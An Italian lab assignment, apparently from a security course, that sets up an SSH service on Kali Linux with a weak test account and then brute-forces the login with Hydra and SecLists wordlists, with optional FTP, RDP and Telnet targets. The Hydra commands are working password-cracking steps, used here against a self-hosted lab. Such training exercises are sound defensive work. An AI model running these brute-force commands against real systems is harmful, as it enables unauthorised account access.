

# Consegna S6-L5

## Consegna: Configurazione e cracking SSH data

### Fase 1: Configurazione di un Servizio SSH

#### 1. Creare un utente in Kali Linux:

```
adduser test_user
```

- Impostare la password iniziale: `testpass`.

#### 2. Avviare il servizio SSH:

```
sudo service ssh start
```

#### 3. Modificare configurazioni SSH (opzionale):

- File di configurazione: `/etc/ssh/sshd_config`.
- Cambiare porte o restrizioni (esempio: disabilitare login root).

#### 4. Testare la connessione SSH:

```
ssh test_user@IP_KALI
```

- Sostituire `IP_KALI` con l'indirizzo IP effettivo.

---

### Fase 2: Crackare l'Autenticazione con Hydra

#### 1. Sintassi Hydra base:

```
hydra -l username -p password IP -t 4 ssh
```

- `-l` : singolo username.

- `-p` : singola password.

## 2. Utilizzare liste di username/password:

```
hydra -L username_list -P password_list IP -t 4 ssh
```

- Esempio di comando con **SecLists**:

```
hydra -L /usr/share/seclists/Username/top-  
usernames-shortlist.txt \  
      -P /usr/share/seclists/Passwords/Common-  
Credentials/top-passwords-shortlist.txt \  
      IP_KALI -t 4 ssh
```

## 3. Visualizzare output live:

```
hydra -V -L username_list -P password_list IP_KALI -t 4  
ssh
```

- `-V` : mostra dettagli di ogni tentativo.

## 4. Configurare servizi aggiuntivi (fase 2 avanzata):

- Installare un servizio FTP:

```
sudo apt-get install vsftpd  
service vsftpd start
```

- Eseguire test con Hydra su FTP, RDP o Telnet.

---

 **Chiavi:** [cracking, ssh, hydra, sicurezza, reti]